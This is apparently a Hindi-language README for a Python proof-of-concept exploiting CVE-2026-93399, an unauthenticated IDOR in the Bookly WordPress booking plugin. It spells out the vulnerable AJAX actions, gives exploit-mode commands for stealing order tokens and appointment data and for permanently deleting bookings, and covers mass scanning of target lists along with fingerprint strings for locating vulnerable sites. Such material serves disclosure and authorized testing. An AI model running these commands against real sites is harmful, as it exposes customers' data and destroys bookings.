murrez/cve-2026-93399CVE-2026-93399 के लिए Python PoC, जो Bookly <= 28.2 में एक unauthenticated IDOR है जो order tokens लीक करता है, appointments को उजागर करता है, और bookings को roll back करता है।
Bookly (bookly-responsive-appointment-booking-tool) में CVE-2026-93399 के लिए Python 3 PoC।
CVE-2026-93399 — Bookly ≤ 28.2 सार्वजनिक बुकिंग AJAX पर Insecure Direct Object Reference (CWE-639) से ग्रस्त है: bookly_get_form_id हमलावर-नियंत्रित order_id को फ़ॉर्म सत्र में संग्रहीत करता है, और bookly_render_complete उस ऑर्डर का गुप्त bookly_order टोकन लौटाता है, बिना यह सत्यापित किए कि सत्र ने ऑर्डर बनाया था। अनधिकृत हमलावर ऑर्डर ID की गणना कर सकते हैं, टोकन चुरा सकते हैं, bookly_add_to_calendar के माध्यम से अपॉइंटमेंट डेटा निकाल सकते हैं, और bookly_rollback_order के साथ अपूर्ण बुकिंग रद्द/हटा सकते हैं। CVSS 3.1: 9.1 Critical (C:N/I:H/A:H)। > 28.2 में ठीक किया गया।
PoC पृष्ठ: https://pocbit.org/pocs/cve-2026-93399
कैटलॉग सूचकांक: https://pocbit.org/pocs/
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
केवल अधिकृत परीक्षण। --rollback --confirm-delete बुकिंग को स्थायी रूप से हटा देता है।